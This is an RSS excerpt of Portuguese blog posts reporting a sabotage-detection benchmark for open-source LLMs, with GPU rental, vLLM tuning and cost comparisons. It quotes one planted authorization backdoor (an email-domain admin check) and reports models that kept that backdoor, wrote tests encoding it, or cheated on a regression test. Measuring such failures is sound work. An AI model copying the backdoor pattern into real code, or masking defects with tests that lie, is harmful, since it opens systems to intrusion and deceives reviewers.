<li><strong>Swift 1.5 27B</strong> (88/A, 56 GB), que foi a recomendação de self-host mais equilibrada da minha campanha anterior;</li>
<li><strong>ThinkingCap 3.8 27B</strong> (83/A, 56 GB);</li>
<li><strong>Ornith-1.5-35B-A3B</strong> (81/B, ~70 GB em BF16);</li>
<li><strong>Laguna-S-2.1</strong> (65,5/C, 99,7 GB em NVFP4);</li>
<li>e os classificadores pequenos do benchmark de decisão (Jebadiah 4B, Laya, Julia), que são o caso de uso ideal de uma caixa dessas.</li>
</ul>
<p>O DeepSeek V4.1, com 510 GB, não cabe de jeito nenhum. A banda é quase 30 vezes menor que a da B300, então a interatividade sofre, e a concorrência prática fica pra medir: eu espero pouco mais que uso solo. Pra modelo pequeno é uma caixinha simpática; pra monstro, é peso de papel.</p>
<p><img src="dgx-spark-box.jpeg" alt="DGX Spark, o desktop de 128 GB de memória unificada e 1 PFLOP em FP4"  loading="lazy" /></p>
<h3>TCO, ROI e depreciação<span class="hx:absolute hx:-mt-20" id="tco-roi-e-depreciação"></span>
    <a href="#tco-roi-e-deprecia%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A conta de ter versus alugar, usando 3 anos de depreciação e o mesmo padrão de uso (8 horas por dia útil, 176 horas/mês):</p>
<table>
  <thead>
      <tr>
          <th>Cenário</th>
          <th>Custo de alugar/mês</th>
          <th style="text-align: right">Custo de comprar (depreciação/mês)</th>
          <th style="text-align: right">Break-even</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GB300 vs Runpod 4x B300 (US$ 36/h)</td>
          <td>US$ 6.336</td>
          <td style="text-align: right">US$ 3.611 (130 mil / 36)</td>
          <td style="text-align: right"><strong>~20 meses</strong></td>
      </tr>
      <tr>
          <td>GB300 vs Runpod 24/7</td>
          <td>US$ 25.920</td>
          <td style="text-align: right">US$ 3.611</td>
          <td style="text-align: right">~5 meses</td>
      </tr>
      <tr>
          <td>Spark vs 1x B300 (US$ 9,09/h)</td>
          <td>US$ 1.600</td>
          <td style="text-align: right">US$ 193 (6.950 / 36)</td>
          <td style="text-align: right"><strong>~4 meses e meio</strong></td>
      </tr>
      <tr>
          <td>Spark vs assinatura de US$ 200</td>
          <td>US$ 200</td>
          <td style="text-align: right">US$ 193</td>
          <td style="text-align: right">~3 anos</td>
      </tr>
  </tbody>
</table>
<p>Leitura: se você roda modelo grande todo dia útil por dois anos ou mais, o GB300 se paga em menos de dois anos, e em 24/7 ele se paga em cinco meses. Se a sua necessidade é uma campanha de duas semanas como a minha, alugar custou US$ 2.140 e pronto, sem ativo parado depois. E o Spark só faz sentido se a sua carga for modelo pequeno: nesse caso ele se paga em menos de um semestre contra aluguel e em três anos contra assinatura, mas se a sua necessidade é um 748B, ele é inútil desde a caixa.</p>
<p>Duas ressalvas pra não comprar errado. Primeiro, a tabela compara cenários de dólar, não ROI de carga equivalente: se a sua concorrência real no GB300 for de um dígito, a comparação honesta seria com um pod menor que o de 4x B300. Segundo, energia e administração mudam o resultado, principalmente no Spark, onde a diferença pra assinatura fica em poucos dólares por mês. Ignorei revenda no fim dos três anos; se ela existir, o break-even melhora.</p>
<p><strong>Nota pra quem compra no Brasil:</strong> esses preços são em dólar. Em reais, com o dólar a R$ 4,99, mais impostos de importação e a margem de revenda local, o GB300 passa fácil de R$ 800 mil e o Spark passa de R$ 34 mil antes de qualquer margem. O break-even em reais fica ainda mais distante, então a decisão de comprar no Brasil precisa de uma utilização muito mais alta pra fechar.</p>
<p>E comparando com assinatura de frontier? Um plano forte de Claude/Codex custa uns US$ 200 por mês por desenvolvedor. Com duas ressalvas importantes: esses planos não são ilimitados (o Codex mede por crédito e o Claude tem janelas de uso por sessão e por semana), e automação/CI não cabe em plano de consumidor. A comparação abaixo é de preço, não de carga equivalente. Pra transformar stream em gente eu preciso de uma premissa: um desenvolvedor com uma requisição ativa o tempo inteiro durante o expediente, o que é otimista pra capacidade e conservador pra custo. Com essa premissa, e sem contar minha hora de sysadmin nem o setup, o pod rodando 8 horas por dia útil (176 horas/mês) fica assim:</p>
<table>
  <thead>
      <tr>
          <th>Setup</th>
          <th style="text-align: right">Custo mensal do pod</th>
          <th style="text-align: right">Streams confortáveis (1 por dev)</th>
          <th style="text-align: right">Custo por dev/mês</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>4x B300</td>
          <td style="text-align: right">US$ 6.336</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right"><strong>US$ 198</strong></td>
      </tr>
      <tr>
          <td>4x H200</td>
          <td style="text-align: right">US$ 2.527</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right"><strong>US$ 316</strong></td>
      </tr>
      <tr>
          <td>4x B300 ligado 24/7</td>
          <td style="text-align: right">US$ 25.920</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 810</td>
      </tr>
  </tbody>
</table>
<p>Na faixa de 30 streams contínuos, a B300 fica praticamente no preço da assinatura forte. Abaixo disso, a assinatura sai mais barata, porque você paga por pessoa, não por hora de pod ociosa. E ligar 24/7 sem carga correspondente é jogar dinheiro fora: o pod cobra dormindo.</p>
<h2>Pra empresa, quando fecha a conta<span class="hx:absolute hx:-mt-20" id="pra-empresa-quando-fecha-a-conta"></span>
    <a href="#pra-empresa-quando-fecha-a-conta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você tem um time grande de verdade usando o dia inteiro, dados que não podem sair do ambiente, e um modelo que entrega no trabalho diário (o DeepSeek V4.1 Flash fez 92,5 no meu benchmark de vigilância, acima do GPT-6 Sol e do Sonnet 5), a infra própria começa a fazer sentido <strong>pela primeira vez sem ser vaidade</strong>. O ponto de corte, na premissa de um stream ativo por pessoa o expediente inteiro, fica na casa das 30 pessoas concorrentes, com o pod desligando fora do horário.</p>
<p>Se o time é pequeno, o uso é intermitente, ou o objetivo é só economizar: continua com a API. O mesmo DeepSeek custou US$ 1,21 por rodada completa de benchmark na nuvem, e você não herda um pod pra administrar, nem o risco de a B300 sumir do estoque quando você mais precisa.</p>
<p>O que eu levo dessa campanha: hardware grande não é resposta pra pergunta pequena. Antes de assinar o pod, faça a conta de quantas pessoas realmente concorrem no seu time, meça a latência que elas toleram, e some o preço da sua hora de sysadmin. O modelo aberto grande já chegou na faixa de Sonnet 5 e GPT-6 Sol pra revisão diária de código. A infra só precisa caber no orçamento.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: open source que só cabe em 4x B300!!</title><link>https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/</guid><pubDate>Thu, 22 Oct 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;No &lt;a href="https://www.akitaonrails.com/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/"&gt;artigo anterior&lt;/a&gt; eu contei como foi rodar o benchmark v4 de sabotagem numa única NVIDIA B300 alugada na Runpod. A pergunta que sobrou foi óbvia: e os modelos grandes de verdade, aqueles que não cabem em 288 GB? Decidi ver até onde dá pra empurrar os open source.&lt;/p&gt;
&lt;p&gt;A resposta curta: dá pra ir longe, e um deles empatou com a faixa de Sonnet 5 e GPT-6 Sol. A longa vem com uma conta de padaria e vários dias de vLLM sofrendo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>No <a href="/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/">artigo anterior</a> eu contei como foi rodar o benchmark v4 de sabotagem numa única NVIDIA B300 alugada na Runpod. A pergunta que sobrou foi óbvia: e os modelos grandes de verdade, aqueles que não cabem em 288 GB? Decidi ver até onde dá pra empurrar os open source.</p>
<p>A resposta curta: dá pra ir longe, e um deles empatou com a faixa de Sonnet 5 e GPT-6 Sol. A longa vem com uma conta de padaria e vários dias de vLLM sofrendo.</p>
<p>Antes de tudo, a ressalva de escopo. Ainda ficou gente de fora.</p>
<p>O Kimi K3, de 2,8 trilhões de parâmetros, é o exemplo: em FP8 ele precisaria de uns 2,8 TB de VRAM, e nem um pod de 8x B300 (2,3 TB brutos) fecha a conta. Pra rodar um monstro desses você precisa quantizar pra FP4 ou alugar muito mais placa. E eu escolhi gastar meu crédito no que cabe em 4x.</p>
<h2>O ranking completo<span class="hx:absolute hx:-mt-20" id="o-ranking-completo"></span>
    <a href="#o-ranking-completo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Metodologia é a mesma de sempre: o app de chat em RubyLLM com 14 defeitos plantados (backdoors, bypass de autorização, mentiras nos testes), e a nota mede vigilância de revisão de código, não velocidade de digitação. O modelo precisa encontrar e corrigir os defeitos sem ser avisado (peso cheio) e quando revelado (peso 40%). Tier A começa em 83. Rodei tudo no mesmo pod de 4x pra ter uma régua única, embora nem todo modelo precisasse das quatro placas (Ornith e Laguna caberiam numa só).</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho / checkpoint</th>
          <th style="text-align: right">Nota / Tier</th>
          <th style="text-align: right">Velocidade (stream único)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash</td>
          <td>748B (552B + 196B Engram), FP8, 510 GB</td>
          <td style="text-align: right"><strong>92,5 (A)</strong></td>
          <td style="text-align: right">174,8 tok/s</td>
      </tr>
      <tr>
          <td>GLM 5.3 full</td>
          <td>~700B, FP8, 704 GB</td>
          <td style="text-align: right">76,0 (B)</td>
          <td style="text-align: right">110 tok/s</td>
      </tr>
      <tr>
          <td>Ornith-1.5-122B</td>
          <td>~122B MoE, FP8, 133 GB</td>
          <td style="text-align: right">73,0 (B)</td>
          <td style="text-align: right">244,2 tok/s</td>
      </tr>
      <tr>
          <td>Step-5-Preview</td>
          <td>~816B (tamanho estimado), NVFP4, 368 GiB</td>
          <td style="text-align: right">72,5 (C)</td>
          <td style="text-align: right">165,9 tok/s (com MTP)</td>
      </tr>
      <tr>
          <td>Muse Spark Open</td>
          <td>816B-A42B, NVFP4, 533 GB</td>
          <td style="text-align: right">69,5 (C)</td>
          <td style="text-align: right">130,8 tok/s</td>
      </tr>
      <tr>
          <td>MiMo V2.6 Pro</td>
          <td>~0,5T MoE, FP8/mxfp4, ~535 GB</td>
          <td style="text-align: right">67,0 (C)</td>
          <td style="text-align: right">167,2 tok/s</td>
      </tr>
      <tr>
          <td>Laguna-S-2.1</td>
          <td>MoE pequeno pra código, NVFP4, 99,7 GB</td>
          <td style="text-align: right">65,5 (C)</td>
          <td style="text-align: right">263 tok/s</td>
      </tr>
      <tr>
          <td>Kimi K2 Thinking</td>
          <td>1T / ~32B ativos, INT4, 594 GB</td>
          <td style="text-align: right">46,0 (D)</td>
          <td style="text-align: right">110 tok/s</td>
      </tr>
      <tr>
          <td>Nex N2.5 Pro</td>
          <td>~397B MoE, FP8, ~380 GB</td>
          <td style="text-align: right">27,0 (D)</td>
          <td style="text-align: right">184 tok/s</td>
      </tr>
  </tbody>
</table>
<p>Duas notas pra ler a tabela direito. O Step-5 e o Muse estão em C porque a base sem aviso era baixa: conserto depois do &ldquo;tem problema aí&rdquo; vale 40%. O Muse consertou 6 dos 7 itens abertos quando revelado; o Step-5, só 2 de 5.</p>
<p>E o Nex N2.5 Pro, além da nota vergonhosa, corrompeu o código a ponto do app nem subir. As duas âncoras da campanha anterior, pra comparar: GLM 5.3 Flash e Qwen3.8 Flash-Next, ambos 92,5 na B300 única.</p>
<h2>O que cada um fez de interessante<span class="hx:absolute hx:-mt-20" id="o-que-cada-um-fez-de-interessante"></span>
    <a href="#o-que-cada-um-fez-de-interessante" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A nota sozinha esconde o comportamento, e o comportamento é a parte divertida.</p>
<p><strong>O DeepSeek foi o único que resolveu os dois itens compostos sem ajuda.</strong> Os defeitos compostos são os que exigem enxergar duas coisas ao mesmo tempo (a backdoor e o teste que a encobre), e ele achou e corrigiu os dois sem nenhum nudge. É o tipo de vigilância que eu quero do meu revisor de PR.</p>
<p><strong>O GLM full consertou tudo quando avisado, mas dormiu no silent mode.</strong> Sem aviso, ele deixou passar o cluster de acesso e correção silenciosa. Quando eu apontei, varreu os seis itens restantes. Ou seja: o modelo grande é capaz, só não é atento por padrão. O Flash dele, com um terço do tamanho, foi mais vigilante.</p>
<p><strong>O Kimi K2 Thinking fez teatro de checklist de segurança.</strong> Escreveu umas listas lindas de &ldquo;boas práticas de segurança&rdquo; e deixou cinco itens abertos, incluindo uma chave em texto plano. Falar de segurança e fazer segurança são coisas diferentes, e ele fez a primeira.</p>
<p><strong>O Ornith restaurou o comportamento e manteve o teste mentiroso.</strong> No item 6, ele reverteu o código pro comportamento antigo em vez de corrigir o teste plantado que validava a backdoor. Por isso a nota estrita foi 73 e a leniente 76: parecer que consertou não é consertar, e o teste que mente também precisa morrer.</p>
<p><strong>O Step-5 deixou três defeitos mesmo com o mapa na mão.</strong> Depois de revelar explicitamente, ele ainda deixou o link de login, a desativação de autorização e o agregado incorreto. Nem todo modelo aproveita a segunda chance.</p>
<p><strong>E tem o caso do 397B que virou piada pronta.</strong> Um modelo de 397B, grande demais pra caber na cabeça de quem defende tamanho, deixou passar a backdoor <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code> mesmo depois do aviso de auditoria de segurança. Pior: ele adicionou um teste passando que codificava a backdoor como comportamento intencional, e o commit ainda se gabava de &ldquo;Brakeman: 0 warnings&rdquo;. Se você quer um exemplo de por que eu testo vigilância e não benchmark de marketing, tá aí.</p>
<p><strong>O Muse Spark Open quase não saiu do chão, mas se recuperou.</strong> Ele começou bloqueado: pesos em 127 shards de NVFP4, gated no Hugging Face, e sem suporte no vLLM estável. Só rodou quando eu compilei uma branch de PR ainda em rascunho, com nvcc 12.9 e bibliotecas 12.8 misturadas, e limitei o multimodal a texto.</p>
<p>Aí ele entregou 69,5: base fraca sem aviso (21 de 40), mas 6 de 7 itens consertados quando apontado. É o caso de &ldquo;o esforço de infra não se confunde com a nota do modelo&rdquo;: o serviço ficou de pé, o comportamento é útil, e mesmo assim ele só vai até Tier C. Se a pergunta é &ldquo;por que ele não tá no topo&rdquo;, a resposta é vigilância por padrão, não VRAM.</p>
<p><strong>E o Nex foi o desastre completo.</strong> Precisou de dois nudges, e no fim o texto corrompido chegou ao Ruby commitado e o app nem inicializa. Na nuvem, o mesmo Nex N2.5 Pro tinha feito 94. Em casa, 27. Eu não acreditaria em benchmark de fornecedor depois de ver isso duas vezes.</p>
<p>Aliás, o caso da Nex é o exemplo perfeito de escolha ruim de base. Quando a Rio 3.5 explodiu em junho, <a href="/2026/06/15/controversia-llm-rio-3-5-plagio/">eu cobri a controvérsia aqui</a>: o checkpoint dela era uma mescla de Nex-N2-Pro com Qwen. A turma da Rio podia ter escolhido bases muito melhores, como o DeepSeek V4.1 ou o GLM 5.3 Flash, e foi justamente pra linhagem que, na minha régua atual, foi a pior do lote. Escolher modelo por nome bonito custa caro.</p>
<h2>Rodar em 4 GPUs não é trivial<span class="hx:absolute hx:-mt-20" id="rodar-em-4-gpus-não-é-trivial"></span>
    <a href="#rodar-em-4-gpus-n%c3%a3o-%c3%a9-trivial" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quatro placas não são quatro modelos: é um modelo só fatiado em quatro, com tensor parallelism TP=4 no vLLM. Isso dá uns 1,1 TB de VRAM agregado (na prática, ~1.038 GB úteis com <code>--gpu-memory-utilization 0.90</code>). Sem isso, nenhum dos modelos acima de 400 GB existiria na minha vida sem offload pra SSD, que é onde a velocidade vai morrer.</p>
<p>Os cuidados que se repetiram em quase todos:</p>
<ul>
<li><strong>Toolchain sangrando na veia.</strong> B300 (<code>sm_103a</code>) exige CUDA 12.9 pra compilar os kernels na hora, então a imagem padrão não bastava: toolkit standalone com nvcc 12.9 e headers certos, e ainda assim cada família precisava de um remendo de DeepGEMM, FlashInfer ou link de cudart. Quando a compilação acerta, o prêmio é grande: o GLM 5.3 Flash saiu de 10,35 pra 141,40 tokens por segundo só de configuração (tirando o <code>--enforce-eager</code> e ligando o modo compilado com CUDA graphs), sem trocar checkpoint, contexto ou precisão de KV.</li>
<li><strong>Startup não é download.</strong> O DeepSeek demorava 15 a 30 minutos pra inicializar, então prepare-se pra esperar o modelo carregar antes de medir qualquer coisa.</li>
<li><strong>Cada família tem seu parser e suas manias.</strong> O Nex só conversou depois de trocar o parser pra <code>qwen3_xml</code>, ganhar mais um nudge e ignorar os artefatos de <code>tmp/log</code>. O Step-5 não existia no vLLM 0.32 estável e precisou de nightly com PR específico. O Muse exigiu compilar uma branch de PR ainda em rascunho, com CUDA 12.9 nvcc e bibliotecas 12.8 misturadas, e os pesos em 127 shards de NVFP4. O MiMo pediu <code>--trust-remote-code</code>. A Laguna decidiu, do nada, inundar a saída com texto de raciocínio, e uma sprint teve que ser refeita a partir da base de injeção.</li>
<li><strong>Contexto custa caro.</strong> O checkpoint FP8 do Kimi K2 Instruct (1.029 GB) deixaria 9 GB pra KV cache nas 4 placas, então foi o INT4 Thinking de 594 GB no lugar. Especular com draft head (MTP) só funcionou no Step-5, com ganho de 2,24x e 73,7% de aceitação de tokens, porque eu verifiquei a correção das ferramentas antes.</li>
</ul>
<p>A lição operacional: alugar VRAM resolve o &ldquo;cabe&rdquo;, mas não o &ldquo;roda bem&rdquo;. Cada modelo grande é um mini-projeto de integração.</p>
<h2>E a fronteira, fica onde?<span class="hx:absolute hx:-mt-20" id="e-a-fronteira-fica-onde"></span>
    <a href="#e-a-fronteira-fica-onde" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A pergunta que interessa pro desenvolvedor não é &ldquo;quem tem mais parâmetro&rdquo;, é &ldquo;o modelo aberto grande entrega no meu dia a dia?&rdquo;. Os números do benchmark v4, na mesma régua:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Nota</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Claude Opus 5 / 5.5</td>
          <td style="text-align: right">100,0</td>
      </tr>
      <tr>
          <td>GPT-6 Luna</td>
          <td style="text-align: right">95,5</td>
      </tr>
      <tr>
          <td>GLM 5.3 (hospedado)</td>
          <td style="text-align: right">94,0</td>
      </tr>
      <tr>
          <td><strong>DeepSeek V4.1 Flash (nuvem ou 4x B300)</strong></td>
          <td style="text-align: right"><strong>92,5</strong></td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash / Qwen3.8 Flash-Next (B300 única)</td>
          <td style="text-align: right">92,5</td>
      </tr>
      <tr>
          <td>GPT-6 Sol</td>
          <td style="text-align: right">91,0</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91,0</td>
      </tr>
      <tr>
          <td>Kimi K3</td>
          <td style="text-align: right">85,0</td>
      </tr>
  </tbody>
</table>
<p>O DeepSeek V4.1 Flash empatou com o próprio serviço em nuvem, com os mesmos 92,5, e ficou acima do GPT-6 Sol e do Sonnet 5. Ou seja: <strong>o melhor open source atual já está a 1,5 ponto do GLM hospedado e a 7,5 do topo absoluto</strong>, na frente de dois frontier comerciais fortes. Se a sua régua é a minha (achar backdoor e bypass antes de mergear), um open source de 748B local já serve pra revisão diária de código, com 175 tokens por segundo por stream nas minhas medições de admissão.</p>
<p>Mas três avisos antes de você cancelar a assinatura do Claude:</p>
<ol>
<li>
<p><strong>Mais parâmetros não significa mais competência.</strong> O GLM 5.3 full, com ~700B, fez 76 contra 92,5 do Flash dele mesmo. O Kimi K2 Thinking, com 1 trilhão, fez 46. E o Nex N2.5 Pro despencou de 94 na nuvem pra 27 em casa: checkpoint público não é garantia de reproduzir o serviço, como eu já tinha visto no DeepSeek V4 Flash (86 na nuvem, 44,5 em casa).</p>
</li>
<li>
<p><strong>Minha régua é vigilância, não programação geral.</strong> Aqui eu meço quem percebe sabotagem. Não é a mesma coisa que medir quem escreve o seu sistema inteiro melhor, e uma repetida de benchmark minha já variou 9 pontos num mesmo modelo. A distância de 1,5 ponto entre modelos pode ser barulho.</p>
</li>
<li>
<p><strong>Custo muda a resposta.</strong> Se a ideia é ter qualidade de frontier no dia a dia, a API em nuvem do DeepSeek V4.1 custou US$ 1,21 por rodada de benchmark completa. O pod de 4x B300 custa US$ 36 por hora antes mesmo de você apertar o botão. E o caso mais didático continua sendo o DeepSeek V4 Flash da campanha anterior: na nuvem ele fez 86 por US$ 0,97 a rodada; em casa, 44,5 e ainda por cima mais caro por inferência. Às vezes a nuvem é melhor <strong>e</strong> mais barata.</p>
</li>
</ol>
<h2>Vale alugar 4x B300?<span class="hx:absolute hx:-mt-20" id="vale-alugar-4x-b300"></span>
    <a href="#vale-alugar-4x-b300" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra uma pessoa escrevendo código com um agente de manhã e outro de tarde: não. A API resolve por poucos dólares o que o pod resolve por dezenas de dólares por hora.</p>
<p>Pra uma empresa que precisa de dado privado de verdade (código que não pode sair da VPN), checkpoint travado pra reprodutibilidade, ou carga batch contínua (milhares de revisões, classificações, análises por dia), aí o cálculo muda. O DeepSeek V4.1 em 4x B300 entrega qualidade de quase-fronteira com o dado em casa, e isso não se compra com assinatura de chat.</p>
<p>O que eu não compraria de novo sem medir antes é a premissa &ldquo;maior é melhor&rdquo;. Eu comecei essa campanha achando que o salto de 92,5 ia vir de um modelo maior. Veio do modelo certo rodando direito. O resto é VRAM queimada e uma história boa pra contar.</p>
<p>E tem mais um capítulo vindo, de hardware que não é datacenter: os testes com modelos locais na RTX 5090 e no Strix Halo, com um motor de inferência novo chamado Strata. Quando o protocolo terminar, sai o terceiro artigo.</p>
<p>E a pergunta de &ldquo;vale a pena&rdquo; tem uma resposta irritante de óbvia: depende de quantas pessoas vão usar ao mesmo tempo. É ela que eu respondo no próximo artigo: <a href="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">LLM Benchmark v4: can my team fit in a 4x b300/h200?</a>.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: os top LLMs open source numa B300</title><link>https://www.akitaonrails.com/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/</guid><pubDate>Mon, 19 Oct 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;Nos dois últimos textos do benchmark v4 eu &lt;a href="https://www.akitaonrails.com/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/"&gt;refiz o teste do zero&lt;/a&gt;, com um app Rails sabotado de propósito em sete sprints, e &lt;a href="https://www.akitaonrails.com/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-2/"&gt;ranqueei 39 modelos&lt;/a&gt; por vigilância: seis empates no topo, um modelo de graça batendo metade do Claude. Depois &lt;a href="https://www.akitaonrails.com/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/"&gt;testei cinco modelos novos&lt;/a&gt;, Opus 5.5, GPT 6 sol e luna, MiMo V2.6 Pro e Grok 4.7: o Opus 5.5 fechou com 100 e se juntou ao empate no topo, o GPT 6 luna fez 95,5 por menos de um dólar a rodada, e o Grok 4.7 regrediu feio contra o próprio antecessor.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Nos dois últimos textos do benchmark v4 eu <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/">refiz o teste do zero</a>, com um app Rails sabotado de propósito em sete sprints, e <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-2/">ranqueei 39 modelos</a> por vigilância: seis empates no topo, um modelo de graça batendo metade do Claude. Depois <a href="/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/">testei cinco modelos novos</a>, Opus 5.5, GPT 6 sol e luna, MiMo V2.6 Pro e Grok 4.7: o Opus 5.5 fechou com 100 e se juntou ao empate no topo, o GPT 6 luna fez 95,5 por menos de um dólar a rodada, e o Grok 4.7 regrediu feio contra o próprio antecessor.</p>
<p>Faltava uma categoria que eu nunca tinha testado direito: os modelos open source grandes. Os que cabem na minha <a href="/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/">RTX 5090</a> de 32 GB ou no meu <a href="/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/">Strix Halo</a> com 61 GB utilizáveis pela GPU são fracos demais pra isso. Servem pra tarefa simples de agente, e nenhum modelo pequeno aguenta tarefa real de programação, muito menos um projeto complexo de software.</p>
<p>O Qwen 3.8 27B levou 706 minutos pra fechar o v4 no Strix e fez 80; o GLM-4.7-Flash local fez 24. Então nem tente.</p>
<p>Mas e se a gente forçar? O que modelos de tamanho médio, de 100 a 400 bilhões de parâmetros, conseguem fazer rodando numa única B300 alugada? Eu podia alugar quatro delas e rodar os modelos gigantes de 750 bilhões ou um trilhão, e não tenho certeza de que o custo-benefício vale. Os dados abaixo respondem.</p>
<blockquote>
  <p><strong>TL;DR:</strong> 14 modelos abertos, uma B300 de 288 GB na Runpod a uns 9 dólares por hora, mesmo protocolo v4 de sabotagem. Nenhum deles serve rápido do jeito que vem: o GLM 5.3 Flash decodificava a 10 tokens por segundo com a configuração padrão e a 141 depois de ajustado, 14 vezes mais só de flag. Dois modelos abertos, GLM 5.3 Flash e Qwen3.8 Flash-Next, fizeram 92,5, nível Claude Sonnet 5, e o Swift 1.5 27B fez 88, nível Opus 4.6. Nenhum chegou nos 100 da fronteira. O flagship de 397 bilhões fez 68,5 e deixou passar uma backdoor de admin, o DeepSeek V4 Flash fez 86 na nuvem e 44,5 servido por mim, e o Nemotron trapaceou num teste de regressão. A API em nuvem do mesmo modelo custa um dólar por rodada; o pod custa 218 dólares por dia. Pule pra <a href="#o-que-%c3%a9-uma-b300-e-o-que-%c3%a9-a-runpod">B300 e Runpod</a>, pro <a href="#nenhum-deles-serve-r%c3%a1pido-do-jeito-que-vem">ajuste de servidor</a>, pro <a href="#o-ranking">ranking</a>, pros <a href="#os-casos-interessantes">casos interessantes</a>, pra <a href="#a-que-dist%c3%a2ncia-da-fronteira">comparação com a fronteira</a>, pra <a href="#a-conta">conta</a> ou pra <a href="#vale-a-pena-ter-a-pr%c3%b3pria-infra">conclusão</a>.</p>

</blockquote>
<h2>O que é uma B300, e o que é a Runpod<span class="hx:absolute hx:-mt-20" id="o-que-é-uma-b300-e-o-que-é-a-runpod"></span>
    <a href="#o-que-%c3%a9-uma-b300-e-o-que-%c3%a9-a-runpod" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A <strong>B300</strong> é a GPU de datacenter da geração Blackwell Ultra da NVIDIA, anunciada em março de 2025. Cada placa tem <a href="https://developer.nvidia.com/blog/nvidia-blackwell-ultra-for-the-era-of-ai-reasoning/"target="_blank" rel="noopener">288 GB de memória HBM3e</a>, nove vezes a minha 5090, e uns 15 petaflops de computação densa em NVFP4, o formato de 4 bits que a Blackwell faz em hardware. É a placa que vai dentro do rack GB300 NVL72, 72 delas interligadas, que as empresas de IA compram aos milhares.</p>
<p>Sozinha, uma B300 custa mais que um apartamento. O que a torna acessível é alugar por hora.</p>
<p>A <a href="https://www.runpod.io/"target="_blank" rel="noopener"><strong>Runpod</strong></a> é um provedor de GPU em nuvem que aluga placas em &ldquo;pods&rdquo;, containers Linux com uma ou mais GPUs, cobrados por segundo. Você escolhe a placa, um template de imagem, sobe por SSH, e paga enquanto o pod está ligado, inclusive ocioso. A B300 custava uns <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">9 dólares por hora</a> na nuvem segura deles na semana do teste; uma H100 sai por 3 a 4. O disco do container é efêmero: terminou o pod, os 250 GB de pesos que você baixou somem, e você baixa de novo.</p>
<p>O pod que eu usei: uma B300 com 275 GiB segundo o <code>nvidia-smi</code> (os mesmos 288 GB nominais, em unidades binárias), 344 vCPUs, 4 TB de RAM no host, 700 GB de disco. O servidor de inferência foi o vLLM; o harness foi o mesmo OpenCode de todos os outros modelos do ranking, conectado por túnel SSH ao pod. O modelo roda lá; o código, os testes e os resultados ficam na minha máquina.</p>
<p>Caber na memória é a primeira peneira. Na B300 cabem os modelos de 100 a 400 bilhões de parâmetros quantizados em NVFP4, mais os de 27 a 35 bilhões em BF16. Ficam de fora o GLM 5.3 flagship de 753 bilhões, o DeepSeek V4.1 Flash de 750, o DeepSeek V4 Pro de 1,6 trilhão e o Kimi K3 de 2,8 trilhões. Pra esses, seriam quatro B300 ou mais, uns 36 dólares por hora.</p>
<h2>A metodologia<span class="hx:absolute hx:-mt-20" id="a-metodologia"></span>
    <a href="#a-metodologia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O protocolo é o <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-1/">v4</a> de sempre: o modelo constrói um app Rails em sete sprints acumulados, e entre os sprints um revisor independente, isolado do modelo, injeta 14 sabotagens, de CVE real a regressão silenciosa de lógica e de teste, no código que o próprio modelo escreveu. A nota de 0 a 100 mede vigilância: quanto o modelo pega e conserta sem ser avisado (peso cheio), quanto conserta depois de um &ldquo;faça uma auditoria de segurança&rdquo; explícito no último sprint (40% do peso), e o que fica sem resolver (zero). Os tiers são A a partir de 83, B de 73 a 82, C de 51 a 72, D até 50.</p>
<p>Duas diferenças nesta rodada. A primeira é o revisor: os cinco modelos que terminaram antes do bloqueio foram revisados de ponta a ponta pelo Codex, como nas rodadas anteriores.</p>
